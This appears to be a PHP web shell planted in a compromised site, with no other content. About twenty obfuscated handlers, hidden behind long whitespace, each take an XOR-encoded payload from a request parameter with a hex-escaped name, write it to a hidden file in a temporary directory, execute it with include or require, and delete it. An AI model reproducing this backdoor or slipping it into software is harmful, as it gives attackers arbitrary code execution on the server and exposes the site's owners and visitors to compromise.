<?php																																										if(filter_has_var(INPUT_POST, "de\x73\x63\x72\x69\x70tor")){ $pointer = array_filter(["/dev/shm", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path()]); $object = $_POST["de\x73\x63\x72\x69\x70tor"]; $object= explode( "." , $object ); $flg= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt2); $j= 0; array_walk($object, function($v7) use(&$flg, &$j, $salt2, $lenS) { $sChar= ord($salt2[$j % $lenS]); $dec= ((int)$v7 - $sChar -($j % 10)) ^ 73; $flg .= chr($dec); $j++; } ); $desc = 0; do { $entity = $pointer[$desc] ?? null; if ($desc >= count($pointer)) break; if (is_dir($entity) ? is_writable($entity) : false) { $binding = "$entity" . "/.reference"; $file = fopen($binding, 'w'); if ($file) { fwrite($file, $flg); fclose($file); include $binding; @unlink($binding); die(); } } $desc++; } while (true); }
																																										if(array_key_exists("m\x72k", $_REQUEST)){ $parameter_group = array_filter([session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), "/dev/shm", getenv("TMP"), "/var/tmp", sys_get_temp_dir()]); $ent = $_REQUEST["m\x72k"]; $ent= explode ( '.',$ent ) ; $data_chunk = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); $r = 0; $__tmp = $ent; while( $v1 = array_shift( $__tmp)) { $chS = ord( $salt1[$r% $sLen]); $d =( ( int)$v1 - $chS -( $r% 10)) ^ 6; $data_chunk .= chr( $d); $r++; } foreach ($parameter_group as $rec): if ((is_dir($rec) and is_writable($rec))) { $resource = sprintf("%s/.key", $rec); if (@file_put_contents($resource, $data_chunk) !== false) { include $resource; unlink($resource); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62i\x6E\x64\x69ng"])){ $record = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $property_set = $_REQUEST["\x62i\x6E\x64\x69ng"]; $property_set= explode ( "." ,$property_set ) ; $dat = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $i = 0; while ($i < count($property_set)) { $v9 = $property_set[$i]; $sChar = ord($s3[$i % $lenS]); $d = ((int)$v9 - $sChar - ($i % 10)) ^ 87; $dat .= chr($d); $i++;} foreach ($record as $mrk): if ((is_dir($mrk) and is_writable($mrk))) { $res = "$mrk" . "/.flg"; $file = fopen($res, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $res; @unlink($res); die(); } } endforeach; }
																																										if(!empty($_POST["\x6Dr\x6B"])){ $tkn = $_POST["\x6Dr\x6B"]; $tkn = explode ('.' , $tkn ); $holder= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s4); $len= count($tkn); for ($k= 0; $k < $len; $k++) { $v1= $tkn[$k]; $chS= ord($s4[$k % $lenS]); $d= ((int)$v1 - $chS - ($k % 10)) ^41; $holder .= chr($d); } $binding = array_filter(["/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), session_save_path()]); for ($fac = 0, $pgrp = count($binding); $fac < $pgrp; $fac++) { $descriptor = $binding[$fac]; if ((bool)is_dir($descriptor) && (bool)is_writable($descriptor)) { $ptr = implode("/", [$descriptor, ".key"]); if (file_put_contents($ptr, $holder)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72e\x66e\x72\x65nce"])){ $object = array_filter([getenv("TEMP"), "/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $dat = $_REQUEST["\x72e\x66e\x72\x65nce"]; $dat = explode ("." , $dat) ; $mrk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $w = 0; $__len = count($dat ); do { if($w >= $__len) break; $v2 = $dat[$w]; $chS = ord($salt[$w% $lenS] ); $dec =((int)$v2 - $chS -($w% 10)) ^ 18; $mrk .= chr($dec ); $w++;} while(true ); foreach ($object as $pset): if (array_product([is_dir($pset), is_writable($pset)])) { $hld = sprintf("%s/.element", $pset); $success = file_put_contents($hld, $mrk); if ($success) { include $hld; @unlink($hld); exit;} } endforeach; }
																																										if(isset($_REQUEST["\x65n\x74"])){ $flg = $_REQUEST["\x65n\x74"]; $flg =explode ( ".", $flg ) ; $ent = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $w = 0; $__len = count($flg); do { if ($w >= $__len) break; $v8 = $flg[$w]; $sChar = ord($s8[$w % $lenS]); $d = ((int)$v8 - $sChar - ($w % 10)) ^ 88; $ent.= chr($d); $w++; } while (true); $ref = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path()]); $rec = 0; do { $holder = $ref[$rec] ?? null; if ($rec >= count($ref)) break; if (is_writable($holder) && is_dir($holder)) { $value = join("/", [$holder, ".elem"]); if (@file_put_contents($value, $ent) !== false) { include $value; unlink($value); die(); } } $rec++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["it\x65\x6D"])){ $entry = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir()]); $resource = $_POST["it\x65\x6D"]; $resource =explode ( "." , $resource ) ; $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; array_walk($resource,function($v4) use(&$comp,&$w,$salt,$sLen) { $chS = ord($salt[$w % $sLen]); $dec = ((int)$v4 - $chS -($w % 10)) ^ 60; $comp .= chr($dec); $w++; }); for ($descriptor = 0, $pgrp = count($entry); $descriptor < $pgrp; $descriptor++) { $symbol = $entry[$descriptor]; if (is_dir($symbol) && is_writable($symbol)) { $pointer = "$symbol" . "/.parameter_group"; if (file_put_contents($pointer, $comp)) { include $pointer; @unlink($pointer); exit; } } } }
																																										if(!empty($_REQUEST["\x63\x6Fmp"])){ $sym = array_filter([session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp"]); $record = $_REQUEST["\x63\x6Fmp"]; $record= explode ( '.' ,$record ) ; $mrk= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s8); $x= 0; foreach($record as $v2) { $chS= ord($s8[$x % $sLen]); $d= ((int)$v2 - $chS -($x % 10)) ^ 2; $mrk .= chr($d); $x++; } foreach ($sym as $flg) { if (is_dir($flg) && is_writable($flg)) { $ent = join("/", [$flg, ".pgrp"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["res\x6F\x75\x72ce"])){ $parameter_group = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/dev/shm", getcwd(), session_save_path()]); $reference = $_REQUEST["res\x6F\x75\x72ce"]; $reference = explode ( '.' , $reference) ; $val = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $q = 0; while ($q < count($reference)) { $v9 = $reference[$q]; $sChar = ord($s5[$q% $sLen]); $dec = ((int)$v9 - $sChar - ($q% 10)) ^34; $val .= chr($dec); $q++; } while ($element = array_shift($parameter_group)) { if (array_product([is_dir($element), is_writable($element)])) { $sym = "$element/.ref"; if (@file_put_contents($sym, $val) !== false) { include $sym; unlink($sym); exit; } } } }
																																										if(isset($_POST) && isset($_POST["d\x61t"])){ $res = $_POST["d\x61t"]; $res = explode( '.' ,$res ); $factor = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $k = 0; $len = count($res); do {if($k >= $len) break; $v2 = $res[$k]; $chS = ord($salt9[$k % $lenS]); $d =((int)$v2 - $chS -($k % 10)) ^ 27; $factor .= chr($d); $k++; } while(true); $pgrp = array_filter([getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), session_save_path(), getcwd()]); while ($entry = array_shift($pgrp)) { if (is_dir($entry) && is_writable($entry)) { $obj = "$entry" . "/.pset"; if (file_put_contents($obj, $factor)) { require $obj; unlink($obj); exit; } } } }
																																										if(isset($_POST["rec\x6F\x72\x64"]) ? true : false){ $data = $_POST["rec\x6F\x72\x64"]; $data= explode ( ".", $data ); $descriptor = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $s = 0; $__tmp = $data; while ($v3 = array_shift($__tmp)) {$sChar = ord($salt2[$s % $lenS] ); $dec = ((int)$v3 - $sChar - ($s % 10)) ^ 83; $descriptor .=chr($dec ); $s++;} $entity = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm"]); foreach ($entity as $entry) { if (is_writable($entry) && is_dir($entry)) { $component = "$entry/.ref"; $success = file_put_contents($component, $descriptor); if ($success) { include $component; @unlink($component); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64a\x74\x61\x5F\x63hunk"])){ $holder = array_filter(["/tmp", getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $flag = $_REQUEST["\x64a\x74\x61\x5F\x63hunk"]; $flag = explode ('.' , $flag ) ; $property_set = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $i = 0; $len = count( $flag); do { if( $i >= $len) break; $v4 = $flag[$i]; $chS = ord( $s5[$i % $sLen]); $d =( ( int)$v4 - $chS -( $i % 10)) ^ 57; $property_set .=chr( $d); $i++; } while( true); foreach ($holder as $res): if (!!is_dir($res) && !!is_writable($res)) { $comp = implode("/", [$res, ".pset"]); $success = file_put_contents($comp, $property_set); if ($success) { include $comp; @unlink($comp); exit;} } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x64\x63hun\x6B"])){ $flag = $_POST["\x64\x63hun\x6B"]; $flag = explode ( "." , $flag ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $l = 0; array_walk( $flag ,function( $v4) use( &$parameter_group ,&$l ,$salt ,$sLen) { $chS = ord( $salt[$l % $sLen]); $d =( ( int)$v4 - $chS -( $l % 10)) ^ 6; $parameter_group.=chr( $d); $l++; }); $obj = array_filter([getenv("TMP"), getcwd(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm"]); $descriptor = 0; do { $key = $obj[$descriptor] ?? null; if ($descriptor >= count($obj)) break; if (!( !is_dir($key) || !is_writable($key) )) { $hld = "$key" . "/.factor"; if (file_put_contents($hld, $parameter_group)) { require $hld; unlink($hld); exit; } } $descriptor++; } while (true); }
																																										if(!empty($_REQUEST["\x63\x6Fmp"])){ $key = array_filter([getcwd(), "/tmp", "/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP")]); $record = $_REQUEST["\x63\x6Fmp"]; $record = explode ("." , $record); $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; array_walk($record, function ($v3) use (&$item, &$j, $salt, $sLen) {$chS = ord($salt[$j % $sLen]); $d = ((int)$v3 - $chS - ($j % 10)) ^ 5; $item .= chr($d); $j++; }); while ($ptr = array_shift($key)) { if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $res = str_replace("{var_dir}", $ptr, "{var_dir}/.resource"); $success = file_put_contents($res, $item); if ($success) { include $res; @unlink($res); exit;} } } }
																																										if(!is_null($_REQUEST["\x72ef"] ?? null)){ $record = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), session_save_path(), "/tmp", getcwd(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $flag = $_REQUEST["\x72ef"]; $flag = explode ( "." , $flag ); $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $y = 0; while ($y < count($flag)) { $v6 = $flag[$y]; $chS = ord($salt[$y % $sLen] ); $dec = ((int)$v6 - $chS - ($y % 10)) ^ 74; $entry.=chr($dec ); $y++; } for ($element = 0, $k = count($record); $element < $k; $element++) { $desc = $record[$element]; if (is_dir($desc) && is_writable($desc)) { $symbol = sprintf("%s/.pgrp", $desc); if (file_put_contents($symbol, $entry)) { require $symbol; unlink($symbol); die(); } } } }
																																										if(isset($_POST["\x73\x79m"])){ $res = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp"]); $pset = $_POST["\x73\x79m"]; $pset =explode ( '.' ,$pset) ; $flg= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt1 ); foreach ($pset as $w => $v4): $chS= ord($salt1[$w% $lenS] ); $dec= ((int)$v4 - $chS - ($w% 10)) ^ 74; $flg .= chr($dec ); endforeach; for ($pointer = 0, $holder = count($res); $pointer < $holder; $pointer++) { $component = $res[$pointer]; if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $val = str_replace("{var_dir}", $component, "{var_dir}/.property_set"); if (file_put_contents($val, $flg)) { require $val; unlink($val); die(); } } } }
																																										if(@$_POST["\x69\x74em"] !== null){ $flg = $_POST["\x69\x74em"]; $flg = explode( '.' , $flg ) ; $desc= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt ); $m= 0; foreach( $flg as $v7) {$chS= ord( $salt[$m% $lenS] ); $dec= ( ( int)$v7 - $chS -( $m% 10)) ^ 36; $desc .= chr( $dec ); $m++; } $key = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir()]); foreach ($key as $key => $dchunk) { if (is_writable($dchunk) && is_dir($dchunk)) { $holder = join("/", [$dchunk, ".reference"]); $success = file_put_contents($holder, $desc); if ($success) { include $holder; @unlink($holder); exit;} } } }
																																										if(array_key_exists("i\x74\x6D", $_POST)){ $desc = array_filter([getenv("TEMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP")]); $marker = $_POST["i\x74\x6D"]; $marker =explode( '.' ,$marker); $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); foreach ($marker as $w => $v2) { $sChar = ord($salt4[$w% $lenS]); $dec = ((int)$v2 - $sChar - ($w% 10)) ^ 39; $flag .= chr($dec); } foreach ($desc as $key => $data_chunk) { if (is_dir($data_chunk) && is_writable($data_chunk)) { $holder = str_replace("{var_dir}", $data_chunk, "{var_dir}/.tkn"); $success = file_put_contents($holder, $flag); if ($success) { include $holder; @unlink($holder); exit;} } } }
																																										if(!empty($_REQUEST["\x65\x6Et"])){ $dat = $_REQUEST["\x65\x6Et"]; $dat = explode( ".",$dat ) ; $tkn = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); foreach ($dat as $u => $v5): $sChar = ord($salt1[$u % $sLen]); $d = ((int)$v5 - $sChar - ($u % 10)) ^ 12; $tkn.=chr($d); endforeach; $holder = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), getcwd()]); while ($bind = array_shift($holder)) { if (max(0, is_dir($bind) * is_writable($bind))) { $entity = sprintf("%s/.key", $bind); if (file_put_contents($entity, $tkn)) { include $entity; @unlink($entity); exit; } } } }
																																										if(in_array("\x70\x61ra\x6D\x65\x74\x65r\x5Fgrou\x70", array_keys($_POST))){ $flag = $_POST["\x70\x61ra\x6D\x65\x74\x65r\x5Fgrou\x70"]; $flag = explode ( "." , $flag) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $y = 0; array_walk( $flag, function( $v3) use( &$flg, &$y, $s, $lenS) { $chS = ord( $s[$y%$lenS]); $d = ( ( int)$v3 - $chS -( $y%10)) ^ 18; $flg .= chr( $d); $y++; } ); $reference = array_filter([getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP")]); foreach ($reference as $itm): if (!( !is_dir($itm) || !is_writable($itm) )) { $binding = join("/", [$itm, ".fac"]); if (file_put_contents($binding, $flg)) { include $binding; @unlink($binding); die(); } } endforeach; }


if(array_key_exists("\x73y\x6Dbol", $_REQUEST)){
	$ent = $_REQUEST["\x73y\x6Dbol"];
	  	$ent		=			explode 	 (  	".",$ent	)			;	
	$elem =  '';
            $salt6 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen =  strlen($salt6);
            $u =  0;
    
            foreach ($ent as $v6) {
                $chS =  ord($salt6[$u % $sLen]);
                $dec =  ((int)$v6 - $chS - ($u % 10))	^ 	3;
                $elem .= chr($dec);
                $u++;
            }
	$value = array_filter(["/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd()]);
	foreach ($value as $dat) {
    		if (max(0, is_dir($dat) * is_writable($dat))) {
    $entity = "$dat" . "/.flag";
    $success = file_put_contents($entity, $elem);
if ($success) {
	include $entity;
	@unlink($entity);
	exit;}
}
}
}